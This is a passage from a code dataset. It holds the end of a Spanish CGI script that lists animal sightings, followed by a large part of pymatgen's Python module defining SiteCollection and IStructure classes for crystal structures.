infoList.append(info[i])\n newDetAv.append(infoList)\n#print(newDetAv)\n\nfotos = avisdb.getFotos()\nnewFotos = []\nfor info in fotos:\n infoFoto = []\n infoFoto.append(info[0])\n infoFoto.append(info[1])\n newFotos.append(infoFoto)\n#print(newFotos)\n\nhead = \"\"\"\n\n\n\n \n \n Listado de Avistamientos\n \n \n \n \n\n\"\"\"\nprint(head, file=utf8stdout)\n\nbody = f\"\"\"\n\n
\n Reporte de avistamiento animal\n
\n \n\"\"\"\nprint(body, file=utf8stdout)\n\nif len(newAv) != 0:\n table = \"\"\"\n
\n
\n
\n
\n \n \n \n \n \n \n \n \n
\n
    \n
  • \n
  • \n
\n \"\"\"\n print(table, file=utf8stdout)\nelse:\n message = \"\"\"\n
No hay avistamientos que mostrar aun, intenta agregar alguno!
\n \"\"\"\n print(message, file=utf8stdout)\n\nfoot = \"\"\"\n \n\n\"\"\"\nprint(foot, file=utf8stdout)\n","repo_name":"abraham054/Python-CGI-Ajax-web-dev-project","sub_path":"cgi-bin/list_t3.py","file_name":"list_t3.py","file_ext":"py","file_size_in_byte":3423,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"86"} +{"seq_id":"27711664068","text":"from __future__ import division, unicode_literals\n\nimport math\nimport os\nimport json\nimport collections\nimport itertools\nfrom abc import ABCMeta, abstractmethod, abstractproperty\nimport random\nimport warnings\nfrom fnmatch import fnmatch\nimport re\n\ntry:\n # New Py>=3.5 import\n from math import gcd\nexcept ImportError:\n # Deprecated import from Py3.5 onwards.\n from fractions import gcd\n\nimport six\n\nimport numpy as np\n\nfrom pymatgen.core.operations import SymmOp\nfrom pymatgen.core.lattice import Lattice\nfrom pymatgen.core.periodic_table import Element, Specie, get_el_sp\nfrom monty.json import MSONable\nfrom pymatgen.core.sites import Site, PeriodicSite\nfrom pymatgen.core.bonds import CovalentBond, get_bond_length\nfrom pymatgen.core.composition import Composition\nfrom pymatgen.util.coord_utils import get_angle, all_distances, \\\n lattice_points_in_supercell\nfrom pymatgen.core.units import Mass, Length\n\nfrom monty.io import zopen\n\n\"\"\"\nThis module provides classes used to define a non-periodic molecule and a\nperiodic structure.\n\"\"\"\n\n__author__ = \"Shyue Ping Ong\"\n__copyright__ = \"Copyright 2011, The Materials Project\"\n__version__ = \"2.0\"\n__maintainer__ = \"Shyue Ping Ong\"\n__email__ = \"shyuep@gmail.com\"\n__status__ = \"Production\"\n__date__ = \"Sep 23, 2011\"\n\n\nclass SiteCollection(six.with_metaclass(ABCMeta, collections.Sequence)):\n \"\"\"\n Basic SiteCollection. Essentially a sequence of Sites or PeriodicSites.\n This serves as a base class for Molecule (a collection of Site, i.e., no\n periodicity) and Structure (a collection of PeriodicSites, i.e.,\n periodicity). Not meant to be instantiated directly.\n \"\"\"\n\n # Tolerance in Angstrom for determining if sites are too close.\n DISTANCE_TOLERANCE = 0.5\n\n @abstractproperty\n def sites(self):\n \"\"\"\n Returns a tuple of sites.\n \"\"\"\n return\n\n @abstractmethod\n def get_distance(self, i, j):\n \"\"\"\n Returns distance between sites at index i and j.\n\n Args:\n i (int): Index of first site\n j (int): Index of second site\n\n Returns:\n (float) Distance between sites at index i and index j.\n \"\"\"\n return\n\n @property\n def distance_matrix(self):\n \"\"\"\n Returns the distance matrix between all sites in the structure. For\n periodic structures, this is overwritten to return the nearest image\n distance.\n \"\"\"\n return all_distances(self.cart_coords, self.cart_coords)\n\n @property\n def species(self):\n \"\"\"\n Only works for ordered structures.\n Disordered structures will raise an AttributeError.\n\n Returns:\n ([Specie]) List of species at each site of the structure.\n \"\"\"\n return [site.specie for site in self]\n\n @property\n def species_and_occu(self):\n \"\"\"\n List of species and occupancies at each site of the structure.\n \"\"\"\n return [site.species_and_occu for site in self]\n\n @property\n def ntypesp(self):\n \"\"\"Number of types of atoms.\"\"\"\n return len(self.types_of_specie)\n\n @property\n def types_of_specie(self):\n \"\"\"\n List of types of specie. Only works for ordered structures.\n Disordered structures will raise an AttributeError.\n \"\"\"\n # Cannot use set since we want a deterministic algorithm.\n types = []\n for site in self:\n if site.specie not in types:\n types.append(site.specie)\n return types\n\n def group_by_types(self):\n \"\"\"Iterate over species grouped by type\"\"\"\n for t in self.types_of_specie:\n for site in self:\n if site.specie == t:\n yield site\n\n def indices_from_symbol(self, symbol):\n \"\"\"\n Returns a tuple with the sequential indices of the sites\n that contain an element with the given chemical symbol.\n \"\"\"\n return tuple((i for i, specie in enumerate(self.species)\n if specie.symbol == symbol))\n\n @property\n def symbol_set(self):\n \"\"\"\n Tuple with the set of chemical symbols.\n Note that len(symbol_set) == len(types_of_specie)\n \"\"\"\n return tuple((specie.symbol for specie in self.types_of_specie))\n\n @property\n def atomic_numbers(self):\n \"\"\"List of atomic numbers.\"\"\"\n return [site.specie.number for site in self]\n\n @property\n def site_properties(self):\n \"\"\"\n Returns the site properties as a dict of sequences. E.g.,\n {\"magmom\": (5,-5), \"charge\": (-4,4)}.\n \"\"\"\n props = {}\n prop_keys = set()\n for site in self:\n prop_keys.update(site.properties.keys())\n\n for k in prop_keys:\n props[k] = [site.properties.get(k, None) for site in self]\n return props\n\n def __contains__(self, site):\n return site in self.sites\n\n def __iter__(self):\n return self.sites.__iter__()\n\n def __getitem__(self, ind):\n return self.sites[ind]\n\n def __len__(self):\n return len(self.sites)\n\n def __hash__(self):\n # for now, just use the composition hash code.\n return self.composition.__hash__()\n\n @property\n def num_sites(self):\n \"\"\"\n Number of sites.\n \"\"\"\n return len(self)\n\n @property\n def cart_coords(self):\n \"\"\"\n Returns a np.array of the cartesian coordinates of sites in the\n structure.\n \"\"\"\n return np.array([site.coords for site in self])\n\n @property\n def formula(self):\n \"\"\"\n (str) Returns the formula.\n \"\"\"\n return self.composition.formula\n\n @property\n def composition(self):\n \"\"\"\n (Composition) Returns the composition\n \"\"\"\n elmap = collections.defaultdict(float)\n for site in self:\n for species, occu in site.species_and_occu.items():\n elmap[species] += occu\n return Composition(elmap)\n\n @property\n def charge(self):\n \"\"\"\n Returns the net charge of the structure based on oxidation states. If\n Elements are found, a charge of 0 is assumed.\n \"\"\"\n charge = 0\n for site in self:\n for specie, amt in site.species_and_occu.items():\n charge += getattr(specie, \"oxi_state\", 0) * amt\n return charge\n\n @property\n def is_ordered(self):\n \"\"\"\n Checks if structure is ordered, meaning no partial occupancies in any\n of the sites.\n \"\"\"\n return all((site.is_ordered for site in self))\n\n def get_angle(self, i, j, k):\n \"\"\"\n Returns angle specified by three sites.\n\n Args:\n i (int): Index of first site.\n j (int): Index of second site.\n k (int): Index of third site.\n\n Returns:\n (float) Angle in degrees.\n \"\"\"\n v1 = self[i].coords - self[j].coords\n v2 = self[k].coords - self[j].coords\n return get_angle(v1, v2, units=\"degrees\")\n\n def get_dihedral(self, i, j, k, l):\n \"\"\"\n Returns dihedral angle specified by four sites.\n\n Args:\n i (int): Index of first site\n j (int): Index of second site\n k (int): Index of third site\n l (int): Index of fourth site\n\n Returns:\n (float) Dihedral angle in degrees.\n \"\"\"\n v1 = self[k].coords - self[l].coords\n v2 = self[j].coords - self[k].coords\n v3 = self[i].coords - self[j].coords\n v23 = np.cross(v2, v3)\n v12 = np.cross(v1, v2)\n return math.degrees(math.atan2(np.linalg.norm(v2) * np.dot(v1, v23),\n np.dot(v12, v23)))\n\n def is_valid(self, tol=DISTANCE_TOLERANCE):\n \"\"\"\n True if SiteCollection does not contain atoms that are too close\n together. Note that the distance definition is based on type of\n SiteCollection. Cartesian distances are used for non-periodic\n Molecules, while PBC is taken into account for periodic structures.\n\n Args:\n tol (float): Distance tolerance. Default is 0.01A.\n\n Returns:\n (bool) True if SiteCollection does not contain atoms that are too\n close together.\n \"\"\"\n if len(self.sites) == 1:\n return True\n all_dists = self.distance_matrix[np.triu_indices(len(self), 1)]\n return bool(np.min(all_dists) > tol)\n\n @abstractmethod\n def to(self, fmt=None, filename=None):\n \"\"\"\n Generates well-known string representations of SiteCollections (e.g.,\n molecules / structures). Should return a string type or write to a file.\n \"\"\"\n pass\n\n @classmethod\n @abstractmethod\n def from_str(cls, input_string, fmt):\n \"\"\"\n Reads in SiteCollection from a string.\n \"\"\"\n pass\n\n @classmethod\n @abstractmethod\n def from_file(cls, filename):\n \"\"\"\n Reads in SiteCollection from a filename.\n \"\"\"\n pass\n\n\nclass IStructure(SiteCollection, MSONable):\n \"\"\"\n Basic immutable Structure object with periodicity. Essentially a sequence\n of PeriodicSites having a common lattice. IStructure is made to be\n (somewhat) immutable so that they can function as keys in a dict. To make\n modifications, use the standard Structure object instead. Structure\n extends Sequence and Hashable, which means that in many cases,\n it can be used like any Python sequence. Iterating through a\n structure is equivalent to going through the sites in sequence.\n \"\"\"\n\n def __init__(self, lattice, species, coords, validate_proximity=False,\n to_unit_cell=False, coords_are_cartesian=False,\n site_properties=None):\n \"\"\"\n Create a periodic structure.\n\n Args:\n lattice (Lattice/3x3 array): The lattice, either as a\n :class:`pymatgen.core.lattice.Lattice` or\n simply as any 2D array. Each row should correspond to a lattice\n vector. E.g., [[10,0,0], [20,10,0], [0,0,30]] specifies a\n lattice with lattice vectors [10,0,0], [20,10,0] and [0,0,30].\n species ([Specie]): Sequence of species on each site. Can take in\n flexible input, including:\n\n i. A sequence of element / specie specified either as string\n symbols, e.g. [\"Li\", \"Fe2+\", \"P\", ...] or atomic numbers,\n e.g., (3, 56, ...) or actual Element or Specie objects.\n\n ii. List of dict of elements/species and occupancies, e.g.,\n [{\"Fe\" : 0.5, \"Mn\":0.5}, ...]. This allows the setup of\n disordered structures.\n coords (Nx3 array): list of fractional/cartesian coordinates of\n each species.\n validate_proximity (bool): Whether to check if there are sites\n that are less than 0.01 Ang apart. Defaults to False.\n coords_are_cartesian (bool): Set to True if you are providing\n coordinates in cartesian coordinates. Defaults to False.\n site_properties (dict): Properties associated with the sites as a\n dict of sequences, e.g., {\"magmom\":[5,5,5,5]}. The sequences\n have to be the same length as the atomic species and\n fractional_coords. Defaults to None for no properties.\n \"\"\"\n if len(species) != len(coords):\n raise StructureError(\"The list of atomic species must be of the\"\n \" same length as the list of fractional\"\n \" coordinates.\")\n\n if isinstance(lattice, Lattice):\n self._lattice = lattice\n else:\n self._lattice = Lattice(lattice)\n\n sites = []\n for i in range(len(species)):\n prop = None\n if site_properties:\n prop = {k: v[i]\n for k, v in site_properties.items()}\n\n sites.append(\n PeriodicSite(species[i], coords[i], self._lattice,\n to_unit_cell,\n coords_are_cartesian=coords_are_cartesian,\n properties=prop))\n self._sites = tuple(sites)\n if validate_proximity and not self.is_valid():\n raise StructureError((\"Structure contains sites that are \",\n \"less than 0.01 Angstrom apart!\"))\n\n @classmethod\n def from_sites(cls, sites, validate_proximity=False,\n to_unit_cell=False):\n \"\"\"\n Convenience constructor to make a Structure from a list of sites.\n\n Args:\n sites: Sequence of PeriodicSites. Sites must have the same\n lattice.\n validate_proximity (bool): Whether to check if there are sites\n that are less than 0.01 Ang apart. Defaults to False.\n to_unit_cell (bool): Whether to translate sites into the unit\n cell.\n\n Returns:\n (Structure) Note that missing properties are set as None.\n \"\"\"\n if len(sites) < 1:\n raise ValueError(\"You need at least one site to construct a %s\" %\n cls)\n if (not validate_proximity) and (not to_unit_cell):\n # This is not really a good solution, but if we are not changing\n # the sites, initializing an empty structure and setting _sites\n # to be sites is much faster than doing the full initialization.\n lattice = sites[0].lattice\n for s in sites[1:]:\n if s.lattice != lattice:\n raise ValueError(\"Sites must belong to the same lattice\")\n s_copy = cls(lattice=lattice, species=[], coords=[])\n s_copy._sites = list(sites)\n return s_copy\n prop_keys = []\n props = {}\n lattice = None\n for i, site in enumerate(sites):\n if not lattice:\n lattice = site.lattice\n elif site.lattice != lattice:\n raise ValueError(\"Sites must belong to the same lattice\")\n for k, v in site.properties.items():\n if k not in prop_keys:\n prop_keys.append(k)\n props[k] = [None] * len(sites)\n props[k][i] = v\n for k, v in props.items():\n if any((vv is None for vv in v)):\n warnings.warn(\"Not all sites have property %s. Missing values \"\n \"are set to None.\" % k)\n return cls(lattice, [site.species_and_occu for site in sites],\n [site.frac_coords for site in sites],\n site_properties=props,\n validate_proximity=validate_proximity,\n to_unit_cell=to_unit_cell)\n\n @classmethod\n def from_spacegroup(cls, sg, lattice, species, coords, site_properties=None,\n coords_are_cartesian=False, tol=1e-5):\n \"\"\"\n Generate a structure using a spacegroup. Note that only symmetrically\n distinct species and coords should be provided. All equivalent sites\n are generated from the spacegroup operations.\n\n Args:\n sg (str/int): The spacegroup. If a string, it will be interpreted\n as one of the notations supported by\n pymatgen.symmetry.groups.Spacegroup. E.g., \"R-3c\" or \"Fm-3m\".\n If an int, it will be interpreted as an international number.\n lattice (Lattice/3x3 array): The lattice, either as a\n :class:`pymatgen.core.lattice.Lattice` or\n simply as any 2D array. Each row should correspond to a lattice\n vector. E.g., [[10,0,0], [20,10,0], [0,0,30]] specifies a\n lattice with lattice vectors [10,0,0], [20,10,0] and [0,0,30].\n Note that no attempt is made to check that the lattice is\n compatible with the spacegroup specified. This may be\n introduced in a future version.\n species ([Specie]): Sequence of species on each site. Can take in\n flexible input, including:\n\n i. A sequence of element / specie specified either as string\n symbols, e.g. [\"Li\", \"Fe2+\", \"P\", ...] or atomic numbers,\n e.g., (3, 56, ...) or actual Element or Specie objects.\n\n ii. List of dict of elements/species and occupancies, e.g.,\n [{\"Fe\" : 0.5, \"Mn\":0.5}, ...]. This allows the setup of\n disordered structures.\n coords (Nx3 array): list of fractional/cartesian coordinates of\n each species.\n coords_are_cartesian (bool): Set to True if you are providing\n coordinates in cartesian coordinates. Defaults to False.\n site_properties (dict): Properties associated with the sites as a\n dict of sequences, e.g., {\"magmom\":[5,5,5,5]}. The sequences\n have to be the same length as the atomic species and\n fractional_coords. Defaults to None for no properties.\n tol (float): A fractional tolerance to deal with numerical\n precision issues in determining if orbits are the same.\n \"\"\"\n from pymatgen.symmetry.groups import SpaceGroup\n try:\n i = int(sg)\n sgp = SpaceGroup.from_int_number(i)\n except ValueError:\n sgp = SpaceGroup(sg)\n\n if isinstance(lattice, Lattice):\n latt = lattice\n else:\n latt = Lattice(lattice)\n\n if not sgp.is_compatible(latt):\n raise ValueError(\n \"Supplied lattice with parameters %s is incompatible with \"\n \"supplied spacegroup %s!\" % (latt.lengths_and_angles,\n sgp.symbol)\n )\n\n if len(species) != len(coords):\n raise ValueError(\n \"Supplied species and coords lengths (%d vs %d) are \"\n \"different!\" % (len(species), len(coords))\n )\n\n frac_coords = coords if not coords_are_cartesian else \\\n lattice.get_fractional_coords(coords)\n\n props = {} if site_properties is None else site_properties\n\n all_sp = []\n all_coords = []\n all_site_properties = collections.defaultdict(list)\n for i, (sp, c) in enumerate(zip(species, frac_coords)):\n cc = sgp.get_orbit(c, tol=tol)\n all_sp.extend([sp] * len(cc))\n all_coords.extend(cc)\n for k, v in props.items():\n all_site_properties[k].extend([v[i]] * len(cc))\n\n return cls(latt, all_sp, all_coords,\n site_properties=all_site_properties)\n \n @classmethod\n def from_magnetic_spacegroup(cls, msg, lattice, species, coords, site_properties,\n transform_setting=None, coords_are_cartesian=False, tol=1e-5):\n \"\"\"\n Generate a structure using a magnetic spacegroup. Note that only\n symmetrically distinct species, coords and magmoms should be provided.]\n All equivalent sites are generated from the spacegroup operations.\n\n Args:\n msg (str/list/:class:`pymatgen.symmetry.maggroups.MagneticSpaceGroup`):\n The magnetic spacegroup.\n If a string, it will be interpreted as one of the notations\n supported by MagneticSymmetryGroup, e.g., \"R-3'c\" or \"Fm'-3'm\".\n If a list of two ints, it will be interpreted as the number of\n the spacegroup in its Belov, Neronova and Smirnova (BNS) setting.\n lattice (Lattice/3x3 array): The lattice, either as a\n :class:`pymatgen.core.lattice.Lattice` or\n simply as any 2D array. Each row should correspond to a lattice\n vector. E.g., [[10,0,0], [20,10,0], [0,0,30]] specifies a\n lattice with lattice vectors [10,0,0], [20,10,0] and [0,0,30].\n Note that no attempt is made to check that the lattice is\n compatible with the spacegroup specified. This may be\n introduced in a future version.\n species ([Specie]): Sequence of species on each site. Can take in\n flexible input, including:\n\n i. A sequence of element / specie specified either as string\n symbols, e.g. [\"Li\", \"Fe2+\", \"P\", ...] or atomic numbers,\n e.g., (3, 56, ...) or actual Element or Specie objects.\n\n ii. List of dict of elements/species and occupancies, e.g.,\n [{\"Fe\" : 0.5, \"Mn\":0.5}, ...]. This allows the setup of\n disordered structures.\n coords (Nx3 array): list of fractional/cartesian coordinates of\n each species.\n site_properties (dict): Properties associated with the sites as a\n dict of sequences, e.g., {\"magmom\":[5,5,5,5]}. The sequences\n have to be the same length as the atomic species and\n fractional_coords. Unlike Structure.from_spacegroup(),\n this argument is mandatory, since magnetic moment information\n has to be included. Note that the *direction* of the supplied\n magnetic moment relative to the crystal is important, even if\n the resulting structure is used for collinear calculations.\n coords_are_cartesian (bool): Set to True if you are providing\n coordinates in cartesian coordinates. Defaults to False.\n tol (float): A fractional tolerance to deal with numerical\n precision issues in determining if orbits are the same.\n \"\"\"\n from pymatgen.electronic_structure.core import Magmom\n from pymatgen.symmetry.maggroups import MagneticSpaceGroup\n\n if 'magmom' not in site_properties:\n raise ValueError('Magnetic moments have to be defined.')\n else:\n magmoms = [Magmom(m) for m in site_properties['magmom']]\n\n if not isinstance(msg, MagneticSpaceGroup):\n msg = MagneticSpaceGroup(msg)\n\n if isinstance(lattice, Lattice):\n latt = lattice\n else:\n latt = Lattice(lattice)\n\n if not msg.is_compatible(latt):\n raise ValueError(\n \"Supplied lattice with parameters %s is incompatible with \"\n \"supplied spacegroup %s!\" % (latt.lengths_and_angles,\n sgp.symbol)\n )\n\n if len(species) != len(coords):\n raise ValueError(\n \"Supplied species and coords lengths (%d vs %d) are \"\n \"different!\" % (len(species), len(coords))\n )\n\n if len(species) != len(magmoms):\n raise ValueError(\n \"Supplied species and magmom lengths (%d vs %d) are \"\n \"different!\" % (len(species), len(magmoms))\n )\n\n frac_coords = coords if not coords_are_cartesian else \\\n lattice.get_fractional_coords(coords)\n\n all_sp = []\n all_coords = []\n all_magmoms = []\n all_site_properties = collections.defaultdict(list)\n for i, (sp, c, m) in enumerate(zip(species, frac_coords, magmoms)):\n cc, mm = msg.get_orbit(c, m, tol=tol)\n all_sp.extend([sp] * len(cc))\n all_coords.extend(cc)\n all_magmoms.extend(mm)\n for k, v in site_properties.items():\n if k != 'magmom':\n all_site_properties[k].extend([v[i]] * len(cc))\n\n all_site_properties['magmom'] = all_magmoms\n\n return cls(latt, all_sp, all_coords,\n site_properties=all_site_properties)\n\n @property\n def distance_matrix(self):\n \"\"\"\n Returns the distance matrix between all sites in the structure. For\n periodic structures, this should return the nearest image distance.\n \"\"\"\n return self.lattice.get_all_distances(self.frac_coords,\n self.frac_coords)\n\n @property\n def sites(self):\n \"\"\"\n Returns an iterator for the sites in the Structure.\n \"\"\"\n return self._sites\n\n @property\n def lattice(self):\n \"\"\"\n Lattice of the structure.\n \"\"\"\n return self._lattice\n\n @property\n def density(self):\n \"\"\"\n Returns the density in units of g/cc\n \"\"\"\n m = Mass(self.composition.weight, \"amu\")\n return m.to(\"g\") / (self.volume * Length(1, \"ang\").to(\"cm\") ** 3)\n\n def get_space_group_info(self, symprec=1e-2, angle_tolerance=5.0):\n \"\"\"\n Convenience method to quickly get the spacegroup of a structure.\n\n Args:\n symprec (float): Same definition as in SpacegroupAnalyzer.\n Defaults to 1e-2.\n angle_tolerance (float): Same definition as in SpacegroupAnalyzer.\n Defaults to 5 degrees.\n\n Returns:\n spacegroup_symbol, international_number\n \"\"\"\n # Import within method needed to avoid cyclic dependency.\n from pymatgen.symmetry.analyzer import SpacegroupAnalyzer\n a = SpacegroupAnalyzer(self, symprec=symprec,\n angle_tolerance=angle_tolerance)\n return a.get_space_group_symbol(), a.get_space_group_number()\n\n def matches(self, other, **kwargs):\n \"\"\"\n Check whether this structure is similar to another structure.\n Basically a convenience method to call structure matching fitting.\n\n Args:\n other (IStructure/Structure): Another structure.\n **kwargs: Same **kwargs as in\n :class:`pymatgen.analysis.structure_matcher.StructureMatcher`.\n\n Returns:\n (bool) True is the structures are similar under some affine\n transformation.\n \"\"\"\n from pymatgen.analysis.structure_matcher import StructureMatcher\n m = StructureMatcher(**kwargs)\n return m.fit(Structure.from_sites(self), Structure.from_sites(other))\n\n def __eq__(self, other):\n if other is None:\n return False\n if len(self) != len(other):\n return False\n if self.lattice != other.lattice:\n return False\n for site in self:\n if site not in other:\n return False\n return True\n\n def __ne__(self, other):\n return not self.__eq__(other)\n\n def __hash__(self):\n # For now, just use the composition hash code.\n return self.composition.__hash__()\n\n def __mul__(self, scaling_matrix):\n \"\"\"\n Makes a supercell. Allowing to have sites outside the unit cell\n\n Args:\n scaling_matrix: A scaling matrix for transforming the lattice\n vectors. Has to be all integers. Several options are possible:\n\n a. A full 3x3 scaling matrix defining the linear combination\n the old lattice vectors. E.g., [[2,1,0],[0,3,0],[0,0,\n 1]] generates a new structure with lattice vectors a' =\n 2a + b, b' = 3b, c' = c where a, b, and c are the lattice\n vectors of the original structure.\n b. An sequence of three scaling factors. E.g., [2, 1, 1]\n specifies that the supercell should have dimensions 2a x b x\n c.\n c. A number, which simply scales all lattice vectors by the\n same factor.\n\n Returns:\n Supercell structure. Note that a Structure is always returned,\n even if the input structure is a subclass of Structure. This is\n to avoid different arguments signatures from causing problems. If\n you prefer a subclass to return its own type, you need to override\n this method in the subclass.\n \"\"\"\n scale_matrix = np.array(scaling_matrix, np.int16)\n if scale_matrix.shape != (3, 3):\n scale_matrix = np.array(scale_matrix * np.eye(3), np.int16)\n new_lattice = Lattice(np.dot(scale_matrix, self._lattice.matrix))\n\n f_lat = lattice_points_in_supercell(scale_matrix)\n c_lat = new_lattice.get_cartesian_coords(f_lat)\n\n new_sites = []\n for site in self:\n for v in c_lat:\n s = PeriodicSite(site.species_and_occu, site.coords + v,\n new_lattice, properties=site.properties,\n coords_are_cartesian=True, to_unit_cell=False)\n new_sites.append(s)\n\n return Structure.from_sites(new_sites)\n\n def __rmul__(self, scaling_matrix):\n \"\"\"\n Similar to __mul__ to preserve commutativeness.\n \"\"\"\n return self.__mul__(scaling_matrix)\n\n @property\n def frac_coords(self):\n \"\"\"\n Fractional coordinates as a Nx3 numpy array.\n \"\"\"\n return np.array([site.frac_coords for site in self._sites])\n\n @property\n def volume(self):\n \"\"\"\n Returns the volume of the structure.\n \"\"\"\n return self._lattice.volume\n\n def get_distance(self, i, j, jimage=None):\n \"\"\"\n Get distance between site i and j assuming periodic boundary\n conditions. If the index jimage of two sites atom j is not specified it\n selects the jimage nearest to the i atom and returns the distance and\n jimage indices in terms of lattice vector translations if the index\n jimage of atom j is specified it returns the distance between the i\n atom and the specified jimage atom.\n\n Args:\n i (int): Index of first site\n j (int): Index of second site\n jimage: Number of lattice translations in each lattice direction.\n Default is None for nearest image.\n\n Returns:\n distance\n \"\"\"\n return self[i].distance(self[j], jimage)\n\n def get_sites_in_sphere(self, pt, r, include_index=False):\n \"\"\"\n Find all sites within a sphere from the point. This includes sites\n in other periodic images.\n\n Algorithm:\n\n 1. place sphere of radius r in crystal and determine minimum supercell\n (parallelpiped) which would contain a sphere of radius r. for this\n we need the projection of a_1 on a unit vector perpendicular\n to a_2 & a_3 (i.e. the unit vector in the direction b_1) to\n determine how many a_1\"s it will take to contain the sphere.\n\n Nxmax = r * length_of_b_1 / (2 Pi)\n\n 2. keep points falling within r.\n\n Args:\n pt (3x1 array): cartesian coordinates of center of sphere.\n r (float): Radius of sphere.\n include_index (bool): Whether the non-supercell site index\n is included in the returned data\n\n Returns:\n [(site, dist) ...] since most of the time, subsequent processing\n requires the distance.\n \"\"\"\n site_fcoords = np.mod(self.frac_coords, 1)\n neighbors = []\n for fcoord, dist, i in self._lattice.get_points_in_sphere(\n site_fcoords, pt, r):\n nnsite = PeriodicSite(self[i].species_and_occu,\n fcoord, self._lattice,\n properties=self[i].properties)\n neighbors.append((nnsite, dist) if not include_index\n else (nnsite, dist, i))\n return neighbors\n\n def get_neighbors(self, site, r, include_index=False):\n \"\"\"\n Get all neighbors to a site within a sphere of radius r. Excludes the\n site itself.\n\n Args:\n site:\n site, which is the center of the sphere.\n r:\n radius of sphere.\n include_index:\n boolean that determines whether the non-supercell site index\n is included in the returned data\n\n Returns:\n [(site, dist) ...] since most of the time, subsequent processing\n requires the distance.\n \"\"\"\n nn = self.get_sites_in_sphere(site.coords, r,\n include_index=include_index)\n return [d for d in nn if site != d[0]]\n\n def get_all_neighbors(self, r, include_index=False):\n \"\"\"\n Get neighbors for each atom in the unit cell, out to a distance r\n Returns a list of list of neighbors for each site in structure.\n Use this method if you are planning on looping over all sites in the\n crystal. If you only want neighbors for a particular site, use the\n method get_neighbors as it may not have to build such a large supercell\n However if you are looping over all sites in the crystal, this method\n is more efficient since it only performs one pass over a large enough\n supercell to contain all possible atoms out to a distance r.\n The return type is a [(site, dist) ...] since most of the time,\n subsequent processing requires the distance.\n\n Args:\n r (float): Radius of sphere.\n include_index (bool): Whether to include the non-supercell site\n in the returned data\n\n Returns:\n A list of a list of nearest neighbors for each site, i.e.,\n [[(site, dist, index) ...], ..]\n Index only supplied if include_index = True.\n The index is the index of the site in the original (non-supercell)\n structure. This is needed for ewaldmatrix by keeping track of which\n sites contribute to the ewald sum.\n \"\"\"\n # Use same algorithm as get_sites_in_sphere to determine supercell but\n # loop over all atoms in crystal\n recp_len = np.array(self.lattice.reciprocal_lattice.abc)\n maxr = np.ceil((r + 0.15) * recp_len / (2 * math.pi))\n nmin = np.floor(np.min(self.frac_coords, axis=0)) - maxr\n nmax = np.ceil(np.max(self.frac_coords, axis=0)) + maxr\n\n all_ranges = [np.arange(x, y) for x, y in zip(nmin, nmax)]\n\n latt = self._lattice\n neighbors = [list() for i in range(len(self._sites))]\n all_fcoords = np.mod(self.frac_coords, 1)\n coords_in_cell = latt.get_cartesian_coords(all_fcoords)\n site_coords = self.cart_coords\n\n indices = np.arange(len(self))\n for image in itertools.product(*all_ranges):\n coords = latt.get_cartesian_coords(image) + coords_in_cell\n all_dists = all_distances(coords, site_coords)\n all_within_r = np.bitwise_and(all_dists <= r, all_dists > 1e-8)\n\n for (j, d, within_r) in zip(indices, all_dists, all_within_r):\n nnsite = PeriodicSite(self[j].species_and_occu, coords[j],\n latt, properties=self[j].properties,\n coords_are_cartesian=True)\n for i in indices[within_r]:\n item = (nnsite, d[i], j) if include_index else (\n nnsite, d[i])\n neighbors[i].append(item)\n return neighbors\n\n def get_neighbors_in_shell(self, origin, r, dr, include_index=False):\n \"\"\"\n Returns all sites in a shell centered on origin (coords) between radii\n r-dr and r+dr.\n\n Args:\n origin (3x1 array): Cartesian coordinates of center of sphere.\n r (float): Inner radius of shell.\n dr (float): Width of shell.\n include_index (bool): Whether to include the non-supercell site\n in the returned data\n\n Returns:\n [(site, dist, index) ...] since most of the time, subsequent\n processing\n requires the distance. Index only supplied if include_index = True.\n The index is the index of the site in the original (non-supercell)\n structure. This is needed for ewaldmatrix by keeping track of which\n sites contribute to the ewald sum.\n \"\"\"\n outer = self.get_sites_in_sphere(origin, r + dr,\n include_index=include_index)\n inner = r - dr\n return [t for t in outer if t[1] > inner]\n\n def get_sorted_structure(self, key=None, reverse=False):\n \"\"\"\n Get a sorted copy of the structure. The parameters have the same\n meaning as in list.sort. By default, sites are sorted by the\n electronegativity of the species.\n\n Args:\n key: Specifies a function of one argument that is used to extract\n a comparison key from each list element: key=str.lower. The\n default value is None (compare the elements directly).\n reverse (bool): If set to True, then the list elements are sorted\n as if each comparison were reversed.\n \"\"\"\n sites = sorted(self, key=key, reverse=reverse)\n return self.__class__.from_sites(sites)\n\n def get_reduced_structure(self, reduction_algo=\"niggli\"):\n \"\"\"\n Get a reduced structure.\n\n Args:\n reduction_algo (str): The lattice reduction algorithm to use.\n Currently supported options are \"niggli\" or \"LLL\".\n \"\"\"\n if reduction_algo == \"niggli\":\n reduced_latt = self._lattice.get_niggli_reduced_lattice()\n elif reduction_algo == \"LLL\":\n reduced_latt = self._lattice.get_lll_reduced_lattice()\n else:\n raise ValueError(\"Invalid reduction algo : {}\"\n .format(reduction_algo))\n\n if reduced_latt != self.lattice:\n return self.__class__(reduced_latt, self.species_and_occu,\n self.cart_coords,\n coords_are_cartesian=True, to_unit_cell=True,\n site_properties=self.site_properties)\n else:\n return self.copy()\n\n def copy(self, site_properties=None, sanitize=False):\n \"\"\"\n Convenience method to get a copy of the structure, with options to add\n site properties.\n\n Args:\n site_properties (dict): Properties to add or override. The\n properties are specified in the same way as the constructor,\n i.e., as a dict of the form {property: [values]}. The\n properties should be in the order of the *original* structure\n if you are performing sanitization.\n sanitize (bool): If True, this method will return a sanitized\n structure. Sanitization performs a few things: (i) The sites are\n sorted by electronegativity, (ii) a LLL lattice reduction is\n carried out to obtain a relatively orthogonalized cell,\n (iii) all fractional coords for sites are mapped into the\n unit cell.\n\n Returns:\n A copy of the Structure, with optionally new site_properties and\n optionally sanitized.\n \"\"\"\n if (not site_properties) and (not sanitize):\n # This is not really a good solution, but if we are not changing\n # the site_properties or sanitizing, initializing an empty\n # structure and setting _sites to be sites is much faster (~100x)\n # than doing the full initialization.\n s_copy = self.__class__(lattice=self._lattice, species=[],\n coords=[])\n s_copy._sites = list(self._sites)\n return s_copy\n props = self.site_properties\n if site_properties:\n props.update(site_properties)\n if not sanitize:\n return self.__class__(self._lattice,\n self.species_and_occu,\n self.frac_coords,\n site_properties=props)\n else:\n reduced_latt = self._lattice.get_lll_reduced_lattice()\n new_sites = []\n for i, site in enumerate(self):\n frac_coords = reduced_latt.get_fractional_coords(site.coords)\n site_props = {}\n for p in props:\n site_props[p] = props[p][i]\n new_sites.append(PeriodicSite(site.species_and_occu,\n frac_coords, reduced_latt,\n to_unit_cell=True,\n 